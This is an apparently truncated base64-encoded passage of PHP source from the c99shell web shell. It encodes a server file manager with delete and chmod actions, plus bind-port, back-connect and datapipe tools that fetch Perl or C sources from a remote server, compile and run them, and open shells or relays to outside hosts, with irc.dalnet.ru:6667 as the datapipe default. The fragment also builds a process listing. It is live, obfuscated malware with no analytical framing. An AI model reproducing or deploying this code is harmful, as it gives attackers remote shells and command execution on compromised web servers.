lwiPjxiPiIudmlld19wZXJtc19jb2xvcigkdikuIjwvYj48L2E+IjsKICAgIGlmICgkbyA9PSAiLiIpIHskY2hlY2tib3ggPSAiPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIG9uY2xpY2s9XCJsc19yZXZlcnNlX2FsbCgpO1wiPiI7ICRpLS07fQogICAgZWxzZSB7JGNoZWNrYm94ID0gIjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYWN0Ym94W11cIiBpZD1cImFjdGJveCIuJGkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iXCI+Ijt9CiAgICBpZiAoaXNfZGlyKCR2KSkgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWQmZD0iLiR1di4iXCI+W0luZm9dPC9hPiZuYnNwOyIuJGNoZWNrYm94O30KICAgIGVsc2UgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLiR1by4iJmZ0PWluZm8mZD0iLiR1ZC4iXCI+W0luZm9dPC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9ZWRpdCZkPSIuJHVkLiJcIj5bQ2hhbmdlXTwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLiR1by4iJmZ0PWRvd25sb2FkJmQ9Ii4kdWQuIlwiPltEb3dubG9hZF08L2E+Jm5ic3A7Ii4kY2hlY2tib3g7fQogICAgaWYgKCgkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkgeyR0YWJbImhlYWQiXVtdID0gJHJvdzt9CiAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JHRhYlsibGlua3MiXVtdID0gJHJvdzt9CiAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskdGFiWyJmb2xkZXJzIl1bXSA9ICRyb3c7fQogICAgZWxzZWlmIChpc19maWxlKCR2KSkgeyR0YWJbImZpbGVzIl1bXSA9ICRyb3c7fQogICAgJGkrKzsKICAgfQogIH0KICAkdGFibGUgPSBhcnJheV9tZXJnZSgkdGFiWyJjb2xzIl0sJHRhYlsiaGVhZCJdLCR0YWJbImZvbGRlcnMiXSwkdGFiWyJsaW5rcyJdLCR0YWJbImZpbGVzIl0pOwogIGVjaG8gIjxjZW50ZXI+PGI+TGlzdGluZyBmb2xkZXIgKCIuY291bnQoJHRhYlsiZmlsZXMiXSkuIiBmaWxlcyBhbmQgIi4oY291bnQoJHRhYlsiZm9sZGVycyJdKStjb3VudCgkdGFiWyJsaW5rcyJdKSkuIiBmb2xkZXJzKTo8L2I+PC9jZW50ZXI+PGJyPjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgd2lkdGg9MTAwJSBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jNDMzMzMzIGJvcmRlcj0wPjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUIG5hbWU9XCJsc19mb3JtXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSIuJGRzcGFjdC4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9Ii4kZC4iPiI7CiAgZm9yZWFjaCgkdGFibGUgYXMgJHJvdykKICB7CiAgIGVjaG8gIjx0cj5cclxuIjsKICAgZm9yZWFjaCgkcm93IGFzICR2KSB7ZWNobyAiPHRkPiIuJHYuIjwvdGQ+XHJcbiI7fQogICBlY2hvICI8L3RyPlxyXG4iOwogIH0KICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJyaWdodFwiPgogIDxzY3JpcHQ+CiAgZnVuY3Rpb24gbHNfc2V0Y2hlY2tib3hhbGwoc3RhdHVzKQogIHsKICAgdmFyIGlkID0gMTsKICAgdmFyIG51bSA9ICIuKGNvdW50KCR0YWJsZSktMikuIjsKICAgd2hpbGUgKGlkIDw9IG51bSkKICAgewogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQgPSBzdGF0dXM7CiAgICBpZCsrOwogICB9CiAgfQogIGZ1bmN0aW9uIGxzX3JldmVyc2VfYWxsKCkKICB7CiAgIHZhciBpZCA9IDE7CiAgIHZhciBudW0gPSAiLihjb3VudCgkdGFibGUpLTIpLiI7CiAgIHdoaWxlIChpZCA8PSBudW0pCiAgIHsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkID0gIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkOwogICAgaWQrKzsKICAgfQogIH0KICA8L3NjcmlwdD4KICA8aW5wdXQgdHlwZT1cImJ1dHRvblwiIG9uY2xpY2s9XCJsc19zZXRjaGVja2JveGFsbCh0cnVlKTtcIiB2YWx1ZT1cIlNlbGVjdCBhbGxcIj4mbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImJ1dHRvblwiIG9uY2xpY2s9XCJsc19zZXRjaGVja2JveGFsbChmYWxzZSk7XCIgdmFsdWU9XCJVbnNlbGVjdCBhbGxcIj4KICA8Yj5eIjsKICBpZiAoY291bnQoYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKSkgPiAwIGFuZCAoJHVzZWZzYnVmZikpCiAgewogICBlY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1hY3RhcmNidWZmIHZhbHVlPVwiUGFjayBidWZmZXIgdG8gYXJjaGl2ZVwiPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJhY3RhcmNidWZmX3BhdGhcIiB2YWx1ZT1cImFyY2hpdmVfIi5zdWJzdHIobWQ1KHJhbmQoMSwxMDAwKS5yYW5kKDEsMTAwMCkpLDAsNSkuIi50YXIuZ3pcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1cImFjdHBhc3RlYnVmZlwiIHZhbHVlPVwiUGFzdGVcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1cImFjdGVtcHR5YnVmZlwiIHZhbHVlPVwiRW1wdHkgYnVmZmVyXCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsKICB9CiAgZWNobyAiPHNlbGVjdCBuYW1lPWFjdD48b3B0aW9uIHZhbHVlPVwiIi4kYWN0LiJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7CiAgZWNobyAiPG9wdGlvbiB2YWx1ZT1kZWxldGUiLigkZHNwYWN0ID09ICJkZWxldGUiPyIgc2VsZWN0ZWQiOiIiKS4iPkRlbGV0ZTwvb3B0aW9uPiI7CiAgZWNobyAiPG9wdGlvbiB2YWx1ZT1jaG1vZCIuKCRkc3BhY3QgPT0gImNobW9kIj8iIHNlbGVjdGVkIjoiIikuIj5DaGFuZ2UtbW9kZTwvb3B0aW9uPiI7CiAgaWYgKCR1c2Vmc2J1ZmYpCiAgewogICBlY2hvICI8b3B0aW9uIHZhbHVlPWN1dCIuKCRkc3BhY3QgPT0gImN1dCI/IiBzZWxlY3RlZCI6IiIpLiI+Q3V0PC9vcHRpb24+IjsKICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1jb3B5Ii4oJGRzcGFjdCA9PSAiY29weSI/IiBzZWxlY3RlZCI6IiIpLiI+Q29weTwvb3B0aW9uPiI7CiAgIGVjaG8gIjxvcHRpb24gdmFsdWU9dW5zZWxlY3QiLigkZHNwYWN0ID09ICJ1bnNlbGVjdCI/IiBzZWxlY3RlZCI6IiIpLiI+VW5zZWxlY3Q8L29wdGlvbj4iOwogIH0KICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJDb25maXJtXCI+PC9wPiI7CiAgZWNobyAiPC9mb3JtPiI7CiB9Cn0KaWYgKCRhY3QgPT0gInRvb2xzIikKewogJGJuZHBvcnRzcmNzID0gYXJyYXkoCiAgImM5OXNoX2JpbmRwb3J0LnBsIj0+YXJyYXkoIlVzaW5nIFBFUkwiLCJwZXJsICVwYXRoICVwb3J0IiksCiAgImM5OXNoX2JpbmRwb3J0LmMiPT5hcnJheSgiVXNpbmcgQyIsIiVwYXRoICVwb3J0ICVwYXNzIikKICk7CiAkYmNzcmNzID0gYXJyYXkoCiAgImM5OXNoX2JhY2tjb25uLnBsIj0+YXJyYXkoIlVzaW5nIFBFUkwiLCJwZXJsICVwYXRoICVob3N0ICVwb3J0IiksCiAgImM5OXNoX2JhY2tjb25uLmMiPT5hcnJheSgiVXNpbmcgQyIsIiVwYXRoICVob3N0ICVwb3J0IikKICk7CiAkZHBzcmNzID0gYXJyYXkoCiAgImM5OXNoX2RhdGFwaXBlLnBsIj0+YXJyYXkoIlVzaW5nIFBFUkwiLCJwZXJsICVwYXRoICVsb2NhbHBvcnQgJXJlbW90ZWhvc3QgJXJlbW90ZXBvcnQiKSwKICAiYzk5c2hfZGF0YXBpcGUuYyI9PmFycmF5KCJVc2luZyBDIiwiJXBhdGggJWxvY2FscG9ydCAlcmVtb3RlcG9ydCAlcmVtb3RlaG9zdCIpCiApOwogaWYgKCFpc19hcnJheSgkYmluZCkpIHskYmluZCA9IGFycmF5KCk7fQogaWYgKCFpc19hcnJheSgkYmMpKSB7JGJjID0gYXJyYXkoKTt9CiBpZiAoIWlzX2FycmF5KCRkYXRhcGlwZSkpIHskZGF0YXBpcGUgPSBhcnJheSgpO30KCiBpZiAoIWlzX251bWVyaWMoJGJpbmRbInBvcnQiXSkpIHskYmluZFsicG9ydCJdID0gJGJpbmRwb3J0X3BvcnQ7fQogaWYgKGVtcHR5KCRiaW5kWyJwYXNzIl0pKSB7JGJpbmRbInBhc3MiXSA9ICRiaW5kcG9ydF9wYXNzO30KCiBpZiAoZW1wdHkoJGJjWyJob3N0Il0pKSB7JGJjWyJob3N0Il0gPSBnZXRlbnYoIlJFTU9URV9BRERSIik7fQogaWYgKCFpc19udW1lcmljKCRiY1sicG9ydCJdKSkgeyRiY1sicG9ydCJdID0gJGJjX3BvcnQ7fQoKIGlmIChlbXB0eSgkZGF0YXBpcGVbInJlbW90ZWFkZHIiXSkpIHskZGF0YXBpcGVbInJlbW90ZWFkZHIiXSA9ICJpcmMuZGFsbmV0LnJ1OjY2NjciO30KIGlmICghaXNfbnVtZXJpYygkZGF0YXBpcGVbImxvY2FscG9ydCJdKSkgeyRkYXRhcGlwZVsibG9jYWxwb3J0Il0gPSAkZGF0YXBpcGVfbG9jYWxwb3J0O30KIGlmICghZW1wdHkoJGJpbmRzdWJtaXQpKQogewogIGVjaG8gIjxiPlJlc3VsdCBvZiBiaW5kaW5nIHBvcnQ6PC9iPjxicj4iOwogICR2ID0gJGJuZHBvcnRzcmNzWyRiaW5kWyJzcmMiXV07CiAgaWYgKGVtcHR5KCR2KSkge2VjaG8gIlVua25vd24gZmlsZSE8YnI+Ijt9CiAgZWxzZWlmIChmc29ja29wZW4oZ2V0ZW52KCJTRVJWRVJfQUREUiIpLCRiaW5kWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsMC4xKSkge2VjaG8gIlBvcnQgYWxyZWR5IGluIHVzZSwgc2VsZWN0IGFueSBvdGhlciE8YnI+Ijt9CiAgZWxzZQogIHsKICAgJHcgPSBleHBsb2RlKCIuIiwkYmluZFsic3JjIl0pOwogICAkZXh0ID0gJHdbY291bnQoJHcpLTFdOwogICB1bnNldCgkd1tjb3VudCgkdyktMV0pOwogICAkc3JjcGF0aCA9IGpvaW4oIi4iLCR3KS4iLiIucmFuZCgwLDk5OSkuIi4iLiRleHQ7CiAgICRiaW5wYXRoID0gJHRtcGRpci5qb2luKCIuIiwkdykucmFuZCgwLDk5OSk7CiAgIGlmICgkZXh0ID09ICJwbCIpIHskYmlucGF0aCA9ICRzcmNwYXRoO30KICAgQHVubGluaygkc3JjcGF0aCk7CiAgICRmcCA9IGZvcGVuKCRzcmNwYXRoLCJhYisiKTsKICAgaWYgKCEkZnApIHtlY2hvICJDYW4ndCB3cml0ZSBzb3VyY2VzIHRvIFwiIi4kc3JjcGF0aC4iXCIhPGJyPiI7fQogICBlbHNlaWYgKCEkZGF0YSA9IGM5OWdldHNvdXJjZSgkYmluZFsic3JjIl0pKSB7ZWNobyAiQ2FuJ3QgZG93bmxvYWQgc291cmNlcyEiO30KICAgZWxzZQogICB7CiAgICBmd3JpdGUoJGZwLCRkYXRhLHN0cmxlbigkZGF0YSkpOwogICAgZmNsb3NlKCRmcCk7CiAgICBpZiAoJGV4dCA9PSAiYyIpIHskcmV0Z2NjID0gbXlzaGVsbGV4ZWMoImdjYyAtbyAiLiRiaW5wYXRoLiIgIi4kc3JjcGF0aCk7ICBAdW5saW5rKCRzcmNwYXRoKTt9CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcGF0aCIsJGJpbnBhdGgsJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBvcnQiLCRiaW5kWyJwb3J0Il0sJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBhc3MiLCRiaW5kWyJwYXNzIl0sJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiLy8iLCIvIiwkdlsxXSk7CiAgICAkcmV0YmluZCA9IG15c2hlbGxleGVjKCR2WzFdLiIgPiAvZGV2L251bGwgJiIpOwogICAgc2xlZXAoNSk7CiAgICAkc29jayA9IGZzb2Nrb3BlbigibG9jYWxob3N0IiwkYmluZFsicG9ydCJdLCRlcnJubywkZXJyc3RyLDUpOwogICAgaWYgKCEkc29jaykge2VjaG8gIkkgY2FuJ3QgY29ubmVjdCB0byBsb2NhbGhvc3Q6Ii4kYmluZFsicG9ydCJdLiIhIEkgdGhpbmsgeW91IHNob3VsZCBjb25maWd1cmUgeW91ciBmaXJld2FsbC4iO30KICAgIGVsc2Uge2VjaG8gIkJpbmRpbmcuLi4gb2shIENvbm5lY3QgdG8gPGI+Ii5nZXRlbnYoIlNFUlZFUl9BRERSIikuIjoiLiRiaW5kWyJwb3J0Il0uIjwvYj4hIFlvdSBzaG91bGQgdXNlIE5ldENhdCZjb3B5OywgcnVuIFwiPGI+bmMgLXYgIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAiLiRiaW5kWyJwb3J0Il0uIjwvYj5cIiE8Y2VudGVyPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cHJvY2Vzc2VzJmdyZXA9Ii5iYXNlbmFtZSgkYmlucGF0aCkuIlwiPjx1PlZpZXcgYmluZGVyJ3MgcHJvY2VzczwvdT48L2E+PC9jZW50ZXI+Ijt9CiAgIH0KICAgZWNobyAiPGJyPiI7CiAgfQogfQogaWYgKCFlbXB0eSgkYmNzdWJtaXQpKQogewogIGVjaG8gIjxiPlJlc3VsdCBvZiBiYWNrIGNvbm5lY3Rpb246PC9iPjxicj4iOwogICR2ID0gJGJjc3Jjc1skYmNbInNyYyJdXTsKICBpZiAoZW1wdHkoJHYpKSB7ZWNobyAiVW5rbm93biBmaWxlITxicj4iO30KICBlbHNlCiAgewogICAkdyA9IGV4cGxvZGUoIi4iLCRiY1sic3JjIl0pOwogICAkZXh0ID0gJHdbY291bnQoJHcpLTFdOwogICB1bnNldCgkd1tjb3VudCgkdyktMV0pOwogICAkc3JjcGF0aCA9IGpvaW4oIi4iLCR3KS4iLiIucmFuZCgwLDk5OSkuIi4iLiRleHQ7CiAgICRiaW5wYXRoID0gJHRtcGRpci5qb2luKCIuIiwkdykucmFuZCgwLDk5OSk7CiAgIGlmICgkZXh0ID09ICJwbCIpIHskYmlucGF0aCA9ICRzcmNwYXRoO30KICAgQHVubGluaygkc3JjcGF0aCk7CiAgICRmcCA9IGZvcGVuKCRzcmNwYXRoLCJhYisiKTsKICAgaWYgKCEkZnApIHtlY2hvICJDYW4ndCB3cml0ZSBzb3VyY2VzIHRvIFwiIi4kc3JjcGF0aC4iXCIhPGJyPiI7fQogICBlbHNlaWYgKCEkZGF0YSA9IGM5OWdldHNvdXJjZSgkYmNbInNyYyJdKSkge2VjaG8gIkNhbid0IGRvd25sb2FkIHNvdXJjZXMhIjt9CiAgIGVsc2UKICAgewogICAgZndyaXRlKCRmcCwkZGF0YSxzdHJsZW4oJGRhdGEpKTsKICAgIGZjbG9zZSgkZnApOwogICAgaWYgKCRleHQgPT0gImMiKSB7JHJldGdjYyA9IG15c2hlbGxleGVjKCJnY2MgLW8gIi4kYmlucGF0aC4iICIuJHNyY3BhdGgpOyBAdW5saW5rKCRzcmNwYXRoKTt9CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcGF0aCIsJGJpbnBhdGgsJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJWhvc3QiLCRiY1siaG9zdCJdLCR2WzFdKTsKICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwb3J0IiwkYmNbInBvcnQiXSwkdlsxXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIvLyIsIi8iLCR2WzFdKTsKICAgICRyZXRiaW5kID0gbXlzaGVsbGV4ZWMoJHZbMV0uIiA+IC9kZXYvbnVsbCAmIik7CiAgICBlY2hvICJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIuaHRtbHNwZWNpYWxjaGFycygkYmNbImhvc3QiXSkuIjoiLmh0bWxzcGVjaWFsY2hhcnMoJGJjWyJwb3J0Il0pLiIuLi48YnI+IjsKICAgfQogIH0KIH0KIGlmICghZW1wdHkoJGRwc3VibWl0KSkKIHsKICBlY2hvICI8Yj5SZXN1bHQgb2YgZGF0YXBpcGUtcnVubmluZzo8L2I+PGJyPiI7CiAgJHYgPSAkZHBzcmNzWyRkYXRhcGlwZVsic3JjIl1dOwogIGlmIChlbXB0eSgkdikpIHtlY2hvICJVbmtub3duIGZpbGUhPGJyPiI7fQogIGVsc2VpZiAoZnNvY2tvcGVuKGdldGVudigiU0VSVkVSX0FERFIiKSwkZGF0YXBpcGVbInBvcnQiXSwkZXJybm8sJGVycnN0ciwwLjEpKSB7ZWNobyAiUG9ydCBhbHJlZHkgaW4gdXNlLCBzZWxlY3QgYW55IG90aGVyITxicj4iO30KICBlbHNlCiAgewogICAkc3JjcGF0aCA9ICR0bXBkaXIuJGRhdGFwaXBlWyJzcmMiXTsKICAgJHcgPSBleHBsb2RlKCIuIiwkZGF0YXBpcGVbInNyYyJdKTsKICAgJGV4dCA9ICR3W2NvdW50KCR3KS0xXTsKICAgdW5zZXQoJHdbY291bnQoJHcpLTFdKTsKICAgJHNyY3BhdGggPSBqb2luKCIuIiwkdykuIi4iLnJhbmQoMCw5OTkpLiIuIi4kZXh0OwogICAkYmlucGF0aCA9ICR0bXBkaXIuam9pbigiLiIsJHcpLnJhbmQoMCw5OTkpOwogICBpZiAoJGV4dCA9PSAicGwiKSB7JGJpbnBhdGggPSAkc3JjcGF0aDt9CiAgIEB1bmxpbmsoJHNyY3BhdGgpOwogICAkZnAgPSBmb3Blbigkc3JjcGF0aCwiYWIrIik7CiAgIGlmICghJGZwKSB7ZWNobyAiQ2FuJ3Qgd3JpdGUgc291cmNlcyB0byBcIiIuJHNyY3BhdGguIlwiITxicj4iO30KICAgZWxzZWlmICghJGRhdGEgPSBjOTlnZXRzb3VyY2UoJGRhdGFwaXBlWyJzcmMiXSkpIHtlY2hvICJDYW4ndCBkb3dubG9hZCBzb3VyY2VzISI7fQogICBlbHNlCiAgIHsKICAgIGZ3cml0ZSgkZnAsJGRhdGEsc3RybGVuKCRkYXRhKSk7CiAgICBmY2xvc2UoJGZwKTsKICAgIGlmICgkZXh0ID09ICJjIikgeyRyZXRnY2MgPSBteXNoZWxsZXhlYygiZ2NjIC1vICIuJGJpbnBhdGguIiAiLiRzcmNwYXRoKTsgQHVubGluaygkc3JjcGF0aCk7fQogICAgbGlzdCgkZGF0YXBpcGVbInJlbW90ZWhvc3QiXSwkZGF0YXBpcGVbInJlbW90ZXBvcnQiXSkgPSBleHBsb2RlKCI6IiwkZGF0YXBpcGVbInJlbW90ZWFkZHIiXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcGF0aCIsJGJpbnBhdGgsJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJWxvY2FscG9ydCIsJGRhdGFwaXBlWyJsb2NhbHBvcnQiXSwkdlsxXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcmVtb3RlaG9zdCIsJGRhdGFwaXBlWyJyZW1vdGVob3N0Il0sJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXJlbW90ZXBvcnQiLCRkYXRhcGlwZVsicmVtb3RlcG9ydCJdLCR2WzFdKTsKICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIi8vIiwiLyIsJHZbMV0pOwogICAgJHJldGJpbmQgPSBteXNoZWxsZXhlYygkdlsxXS4iID4gL2Rldi9udWxsICYiKTsKICAgIHNsZWVwKDUpOwogICAgJHNvY2sgPSBmc29ja29wZW4oImxvY2FsaG9zdCIsJGRhdGFwaXBlWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsNSk7CiAgICBpZiAoISRzb2NrKSB7ZWNobyAiSSBjYW4ndCBjb25uZWN0IHRvIGxvY2FsaG9zdDoiLiRkYXRhcGlwZVsibG9jYWxwb3J0Il0uIiEgSSB0aGluayB5b3Ugc2hvdWxkIGNvbmZpZ3VyZSB5b3VyIGZpcmV3YWxsLiI7fQogICAgZWxzZSB7ZWNobyAiUnVubmluZyBkYXRhcGlwZS4uLiBvayEgQ29ubmVjdCB0byA8Yj4iLmdldGVudigiU0VSVkVSX0FERFIiKS4iOiIuJGRhdGFwaXBlWyJwb3J0Il0uIiwgYW5kIHlvdSB3aWxsIGNvbm5lY3RlZCB0byAiLiRkYXRhcGlwZVsicmVtb3RlYWRkciJdLiI8L2I+ISBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQmY29weTssIHJ1biBcIjxiPm5jIC12ICIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiIgIi4kYmluZFsicG9ydCJdLiI8L2I+XCIhPGNlbnRlcj48YSBocmVmPVwiIi4kc3VybC4iYWN0PXByb2Nlc3NlcyZncmVwPSIuYmFzZW5hbWUoJGJpbnBhdGgpLiJcIj48dT5WaWV3IGRhdGFwaXBlIHByb2Nlc3M8L3U+PC9hPjwvY2VudGVyPiI7fQogICB9CiAgIGVjaG8gIjxicj4iOwogIH0KIH0KID8+PGI+QmluZGluZyBwb3J0OjwvYj48YnI+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXRvb2xzPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9Ijw/cGhwIGVjaG8gJGQ7ID8+Ij5Qb3J0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImJpbmRbcG9ydF0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJpbmRbInBvcnQiXSk7ID8+Ij4mbmJzcDtQYXNzd29yZDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJiaW5kW3Bhc3NdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRiaW5kWyJwYXNzIl0pOyA/PiI+Jm5ic3A7PHNlbGVjdCBuYW1lPSJiaW5kW3NyY10iPjw/cGhwCiBmb3JlYWNoKCRibmRwb3J0c3JjcyBhcyAkaz0+JHYpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi4kay4iXCIiOyBpZiAoJGsgPT0gJGJpbmRbInNyYyJdKSB7ZWNobyAiIHNlbGVjdGVkIjt9IGVjaG8gIj4iLiR2WzBdLiI8L29wdGlvbj4iO30KID8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9YmluZHN1Ym1pdCB2YWx1ZT0iQmluZCI+PC9mb3JtPgo8Yj5CYWNrIGNvbm5lY3Rpb246PC9iPjxicj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9dG9vbHM+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iPD9waHAgZWNobyAkZDsgPz4iPkhPU1Q6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0iYmNbaG9zdF0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJjWyJob3N0Il0pOyA/PiI+Jm5ic3A7UG9ydDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJiY1twb3J0XSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkYmNbInBvcnQiXSk7ID8+Ij4mbmJzcDs8c2VsZWN0IG5hbWU9ImJjW3NyY10iPjw/cGhwCmZvcmVhY2goJGJjc3JjcyBhcyAkaz0+JHYpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi4kay4iXCIiOyBpZiAoJGsgPT0gJGJjWyJzcmMiXSkge2VjaG8gIiBzZWxlY3RlZCI7fSBlY2hvICI+Ii4kdlswXS4iPC9vcHRpb24+Ijt9Cj8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9YmNzdWJtaXQgdmFsdWU9IkNvbm5lY3QiPjwvZm9ybT4KQ2xpY2sgIkNvbm5lY3QiIG9ubHkgYWZ0ZXIgb3BlbiBwb3J0IGZvciBpdC4gWW91IHNob3VsZCB1c2UgTmV0Q2F0JmNvcHk7LCBydW4gIjxiPm5jIC1sIC1uIC12IC1wIDw/cGhwIGVjaG8gJGJjX3BvcnQ7ID8+PC9iPiIhPGJyPjxicj4KPGI+RGF0YXBpcGU6PC9iPjxicj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9dG9vbHM+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iPD9waHAgZWNobyAkZDsgPz4iPkhPU1Q6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0iZGF0YXBpcGVbcmVtb3RlYWRkcl0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRhdGFwaXBlWyJyZW1vdGVhZGRyIl0pOyA/PiI+Jm5ic3A7TG9jYWwgcG9ydDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJkYXRhcGlwZVtsb2NhbHBvcnRdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkYXRhcGlwZVsibG9jYWxwb3J0Il0pOyA/PiI+Jm5ic3A7PHNlbGVjdCBuYW1lPSJkYXRhcGlwZVtzcmNdIj48P3BocApmb3JlYWNoKCRkcHNyY3MgYXMgJGs9PiR2KSB7ZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIuJGsuIlwiIjsgaWYgKCRrID09ICRiY1sic3JjIl0pIHtlY2hvICIgc2VsZWN0ZWQiO30gZWNobyAiPiIuJHZbMF0uIjwvb3B0aW9uPiI7fQo/Pjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWRwc3VibWl0IHZhbHVlPSJSdW4iPjwvZm9ybT48Yj5Ob3RlOjwvYj4gc291cmNlcyB3aWxsIGJlIGRvd25sb2FkZWQgZnJvbSByZW1vdGUgc2VydmVyLjw/cGhwCn0KaWYgKCRhY3QgPT0gInByb2Nlc3NlcyIpCnsKIGVjaG8gIjxiPlByb2Nlc3Nlczo8L2I+PGJyPiI7CiBpZiAoISR3aW4pIHskaGFuZGxlciA9ICJwcyAtYXV4Ii4oJGdyZXA/IiB8IGdyZXAgJyIuYWRkc2xhc2hlcygkZ3JlcCkuIiciOiIiKTt9CiBlbHNlIHskaGFuZGxlciA9ICJ0YXNrbGlzdCI7fQogJHJldCA9IG15c2hlbGxleGVjKCRoYW5kbGVyKTsKIGlmICghJHJldCkge2VjaG8gIkNhbid0IGV4ZWN1dGUgXCIiLiRoYW5kbGVyLiJcIiEiO30KIGVsc2UKIHsKICBpZiAoZW1wdHkoJHByb2Nlc3Nlc19zb3J0KSkgeyRwcm9jZXNzZXNfc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQogICRwYXJzZXNvcnQgPSBwYXJzZXNvcnQoJHByb2Nlc3Nlc19zb3J0KTsKICBpZiAoIWlzX251bWVyaWMoJHBhcnNlc29ydFswXSkpIHskcGFyc2Vzb3J0WzBdID0gMDt9CiAgJGsgPSAkcGFyc2Vzb3J0WzBdOwogIGlmICgkcGFyc2Vzb3J0WzFdICE9ICJhIikgeyR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNw